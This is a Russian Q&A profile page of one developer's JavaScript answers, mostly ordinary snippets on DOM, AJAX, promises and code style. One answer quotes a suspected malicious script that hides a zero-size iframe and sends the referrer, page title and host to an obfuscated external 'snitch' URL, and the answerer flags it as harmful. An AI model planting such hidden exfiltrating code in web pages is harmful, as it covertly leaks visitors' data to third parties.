Ответы пользователя по тегу JavaScript
  • Рандомное проигрывание звука?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    var player=$('#bet2-sound')[0],
              sounds=['/sounds/1.mp3','/sounds/2.mp3','/sounds/3.mp3'];
    
        if (sound == 'on') {
            
            player.src=sounds[Math.round(Math.random()*(sounds.length-1))];
            player.play();
        }
    Ответ написан
    Комментировать
  • Как правильно вставлять элементы на JavaScript?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Комментировать
  • JavaScript code style. Стоит ли использовать объявления переменных внутри цикла?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    В текущем ES5 я все переменные выношу в общий var.
    С точки зрения движков браузеров это ничем не лучше, ибо все ровно видимость переменной на всю функцию , но, ИМХО, читаемость выше и контролировать набор переменных проще, включая рациональность их использования, чем ловить их по телу функции, кто и где там var объявил и не продублировал ли где. Вполне возможно, что переменная счетчика будет использоваться повторно, если код синхронный. Так что никаких var в циклах у меня нет.
    Тут сколько программистов - столько и code style. Я еще в var переменные разбиваю по функциональных группах:
    var url, 
        price, weight,
        x, y;
    
      for (x = 0; x < 10; x++) {
        for (y = 0; y < 10; y++) {
    
        }
      }
    Ответ написан
    Комментировать
  • Как работает данная конструкция на JavaScript?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ничего хитрого здесь нет, суть проста - либо берем существующий объект-модуль и работаем с ним в функции, либо если его нет- создаем. Это такая старая реализация модульности...

    //module = [undefined] значит создаем новый с пустого объекта 
          var module = (function (obj) {
              obj.x=1;
              obj.z=3;
              return obj;
          })(module || {});
    
    //module = [object] продолжаем работать с уже созданным 
          var module = (function (obj) {
              obj.x=2;
              obj.y=1;
              return obj;
          })(module || {});
    
          console.dir(module);
    Ответ написан
    6 комментариев
  • Как взять target по классу?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    var el=document.getElementsByClassName("class")[0];  //найти первый элемент с классом class
       //или
        var el=document.querySelector(".class");//аналогично для новых браузеров
    
       //проверить содержит ли элемент класс class
    
    //для старых
        el.className.split(" ").indexOf('class')!=-1;
    //для новых 
        el.classList.contains("class");
    Ответ написан
    Комментировать
  • Как каждый раз подставлять в переменную новый хэш (используя Ajax)?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    КЭП подсказывает: поменять newhash на hash =))

    var hash;
    
    $(window).on('hashchange', function gethash() {
        hash = window.location.hash.split('#')[1];
    });


    Было бы хорошо почитать про области видимости переменных и замыкания.
    Ответ написан
    6 комментариев
  • Почему после AJAX запроса к *.php файлу, сервер отправляет текст без html кода?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Посмотрите в консоли что отвечает сервер на Ваш запрос. Если все ок - смотрим js
    Как минимум обработчик xmlhttp.onreadystatechange неполон.
    xhr.onreadystatechange = function () {
       var html, status;
       if (xhr.readyState == 4) {
          if ((status = xhr.status) >= 200 && status < 400) {
               html=xhr.responseText;
               //code
          }else{
               //error status
          }
       }
    }
    Ответ написан
    Комментировать
  • Есть ли еще баг в хроме с подгрузкой скриптов?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    На всякий не помешает и проверять.
    function loadScript(src,_timeout) {
    
               return new Promise(function(resolve, reject){
                   if(!src){
                       reject(new TypeError("filename is missing"));
                       return;
                   }
                   var script=document.createElement("script"),
                       timer,
                       head=document.getElementsByTagName("head")[0];
                   
                   function leanup(){
                       clearTimeout(timer);
                       timer=null;
                       script.onerror=script.onreadystatechange=script.onload=null;
                   }
    
                   function onload(){
                       leanup();
                       if(!script.onreadystatechange||(script.readyState&&script.readyState=="complete")){
                           resolve(script);
                       }
                   }
                   script.onerror=function(error){
                       leanup();
                       head.removeChild(script);
                       script=null;
                       reject(new Error("network"));
                   };
                   if (script.onreadystatechange === undefined) {
                       script.onload = onload;
                   } else {
                       script.onreadystatechange = onload;
                   }
                   timer=setTimeout(script.onerror,_timeout||30000);
                   script.setAttribute("type", "text/javascript");
                   script.setAttribute("src", src);
                   head.appendChild(script);
               });
           }


    loadScript("script.js").then(function(script){
      console.log("ok",script);
    },function(error){
      console.warn("fail");
    });
    Ответ написан
  • Это говнокод или фича?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Вероятно, это оптимизация производительности критического участка кода, довольно часто используется разработчиками соответствующего уровня при написании библиотек и фреймворков. В некоторых случаях switch производительнее условных конструкций, тем более любых других реализаций, с более читабельным либо "рациональным" видом.
    Ответ написан
    Комментировать
  • Данный скрипт - вирус?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ну ничего хорошего тут точно нет, кроме как вставки iframe
    <script type="text/javascript">
    	var referer = encodeURIComponent(document.referrer);
    	var default_keyword = encodeURIComponent(document.title);
    	var host = encodeURIComponent(location.host);
    	var iframe = document.createElement('iframe');
    	iframe.width=0;
    	iframe.height=0;
    	iframe.src= "h" + "tt" + "p://" + "c11n4." + "i.te" + "as" + "erg" + "uid" + "e.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
    	document.body.appendChild(iframe);
    </script>

    еще и разбили url дабы не обнаруживался. c11n4.i.teaserguide.com/snitch?default_keyword=Tes...
    Ответ написан
    Комментировать
  • Как отркрыть модальное окно из модального окна в Bootstrap?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    $(".modal").modal("hide");//закрыть все окна
       $("#secondModal").modal('show');//открыть нужное
    Ответ написан
    Комментировать
  • Как проверить баланс скобок?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Где то так... https://jsfiddle.net/DigitalBrain/azj0u01d/
    function js(text){
             var i,
                     l=text.length,
                     char,
                     last,
                     stack=[];
    
             for(i=0; i<l; i++){
                 char=text[i];
    
                 if(char=="{" || char=="("){
                     stack.push(char);
                 }else if(char=="}" || char==")"){
                     if(stack.length>0){
                         last=stack[stack.length-1];
                         if ((char == '}' && last == "{") || (char == ')' && last == '(')) {
                             stack.pop();
                         }
                     }
                 }
             }
             return stack.length==0;
         }
         console.info(js("function test(){ alert(); }")); // true
         console.info(js("function test)({ alert(); }")); //false

    Слегка оптимизировал
    function js(text){
             var i, l=text.length,  char,  last, stack=[];
    
             for(i=0; i<l; i++){
                 char=text[i];
                 if(char=="{" || char=="("){
                     stack.push(char);
                     last=char;
                 }else if(char == '}' || char == ")"){
                     if(last){
                         if((char == '}' && last == "{") || (char == ')' && last == '('))
                         {
                             stack.pop();
                             last = stack.length > 0 ? stack[stack.length - 1] : undefined;
                         }
                     }else{
                         return false;
                     }
                 }
             }
             return stack.length==0;
         }
    Ответ написан
  • Как обновить содержание модального окна в Bootstrap3?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Читал документацию, все равно не выходит.

    Сначала начните изучать javascript, а не bootstrap, тогда будет все доходить, ибо попытка использования document.write это уже не шутки... =)
    https://learn.javascript.ru/document-write
    $("#modalID").find(".modal-body").html(htmlString);
    Ответ написан
    Комментировать
  • Как превратить строку в число?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Вытянуть числа со строки не проблема по индусскому феншую:
    function getNumbers(str){ //вернет массив всех чисел в строке
             var reg=/\d+/g,results=[];
             while(match=reg.exec(str)){
                 results.push(match[0]*1);
             }
             return results;
         }
         console.info("Numbers:",getNumbers("цена за 1 мес. - 25"));    //  Numbers: [1, 25]
         console.info("Price:", getNumbers("цена за 1 мес. - 25")[1]);  // Price: 25


    А не индусы обрамляют тегом нужное значения и ищут его через селекторы...
    Ответ написан
    3 комментария
  • Как скачивать изображения с других сайтов?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Можно покопать в сторону загрузки изображения по url в canvas, потом использовать toDataURL чтобы получить файл в base64, потом уже его сохранить через File API
    Ответ написан
    Комментировать
  • Как проверить существование картинки по УРЛ адресу?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    пытаться грузить, ловить ошибку..
    stackoverflow.com/questions/3381663/how-to-check-i...

    и на чистом в целях популяризации ;)

    function request( url, type, data){
    
             if(!url)return Promise.reject(TypeError("url is missing"));
    
             return new Promise(function(resolve,reject){
                 var xmlhttp = new XMLHttpRequest();
                 xmlhttp.open(type||'GET', url, true);
                 xmlhttp.onreadystatechange = function(){
                     if (xmlhttp.readyState == 4) {
                         if(xmlhttp.status >= 200 && xmlhttp.status<400 ) {
                             resolve(xmlhttp);
                         }else{
                             reject(xmlhttp.status);
                         }
                     }
                 };
                 xmlhttp.onerror=xmlhttp.ontimeout=reject;
                 xmlhttp.send(data||null);
             })
         }
    
         function isImageExists(url,timeout){
             if(url) {
                 return new Promise(function(resolve, reject)
                 {
                    var img=document.createElement("img"), timer, counter=0;
                     function clear(){
                         if(timer){
                             clearInterval(timer);
                             timer=null;
                         }
                     }
                    timer=setInterval(function(){
                        if(img.width){
                            clear();
                            resolve(img);
                        }else{
                            if((counter+=20)>(timeout||5000)){
                                clear();
                                reject(Error("timeout"));
                            }
                        }
                    },20);
                    img.onload=function(){
                        clear();
                        resolve(img);
                    }
                    img.onerror=function(error){
                        clear();
                        reject(error);
                    }
                    img.src=url;
                 });
             }
             return Promise.reject(TypeError("url missing"));
         }
    
         isImageExists("gfx/ajax-loader.gif").then(function(img){
             console.log("img loaded", img);
             document.body.appendChild(img);
         },function(error){
             console.warn("image missing",error);
             request("/index.php?action=error","GET");
         })
    Ответ написан
  • Можно ли в js функции задавать переменные по умолчанию?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Если пока не использовать ES6, то можно сделать ручками нечто вроде:
    jsfiddle.net/DigitalBrain/1detwmvr
    /**
          * Attach defaults to function
          * @param {Function} fn function for which the defaults are set
          * @param {Array} defaults function defaults array
          * @param {Number} [count] count of required parameters
          * @param {Object} [context] scope for fn
          * @returns {Function}
          */
    
         function defaults(fn, defaults, count, context) {
             if (!Array.isArray(defaults))throw TypeError("function defaults must be an array!");
             if(!count)count=0;
             return function () {
                 var args = Array.prototype.slice.call(arguments),
                     len = args.length,
                     defLength = defaults.length,
                     index=len-count,
                     callArgs = index>=0 && len < defLength+count ? args.concat(defaults.slice(index)) : args;
                 if (count && len < count) {
                     throw TypeError("Function expected at least "+count+" argument"+(count > 1 ? "s" : "")+", but "+len+" were given");
                 }
                 return fn.apply(context || this, callArgs);
             }
         }
    
         /**
          *
          * @param a - var1.
          * @param [b=2] - var2.
          * @param [c=3] - var3.
          * @param [d=4] - var3.
          * @type {Function}
          */
    
         var f=defaults(function(a,b,c,d){
             console.warn(arguments);
         }, [2,3,4], 1);
    
    
    
         f(5, 9, 18, 100);// [5, 9, 18, 100]
         f(5, 9, 18);// [5, 9, 18, 4]
         f(5, 9);// [5, 9, 3, 4]
         f(5);// [5, 2, 3, 4]
         f();// TypeError: Function expected at least 1 argument, but 0 were given


    Можно конечно запихнуть это в прототип функции и синтаксис стает приятнее:
    var f=function(a,b,c,d){
             console.warn(arguments);
         }.defaults([2,3,4], 1);

    ...но не совсем гуд так делать
    Ответ написан
    2 комментария
  • Как написать чат на websocket'ax (javascript)?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    socket.io
    socket.io/demos/chat
    https://github.com/socketio/socket.io/tree/master/...

    Без этой библиотеки у Вас пока ничего не получится, ведь кроме клиента нужен сервер, который и реализуется этой прослойкой, писать же свой- глупое занятие + что то мне подсказывает что Вам пытаться делать этот велосипед еще рановато.
    Вы можете отказаться только от клиентской прослойки библиотек, которые позволяют примерно эмулировать работу web сокетов в старых браузерах через ajax и более древние техники, но не от сервера. В javascript нету ничего о веб сокетах, с клиентской стороны это интерфейсы браузера, а на nodejs сервере все нужно реализовывать самому, или через те библиотеки, которые Вы не хотите.

    Базис о клиентских сокетах в браузере почитать можно тут:
    https://developer.mozilla.org/en-US/docs/Web/API/W...
    Ответ написан
    Комментировать
  • Как заменить значения в CSS на JS?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Учимся сначала тут: https://learn.javascript.ru/styles-and-classes

    document.querySelector(".one").style.margin = "20px -30px -30px 30px";
     //or
    var el=document.querySelector(".one");
    el.style.marginTop = "20px";
    el.style.marginLeft = "20px";

    Про Jquery, а тем более Angular, который вообще тут не при чем, не ведитесь. Сначала native- потом любой DOM фреймворк..

    И кстати, про старый добрый document.getElementsByClassName() - если нужно получить только один элемент и DOM дерево большое у него могут быть проблемы с производительностью, так как выборка всех совпадений идет, а не только первый.
    Ответ написан
    4 комментария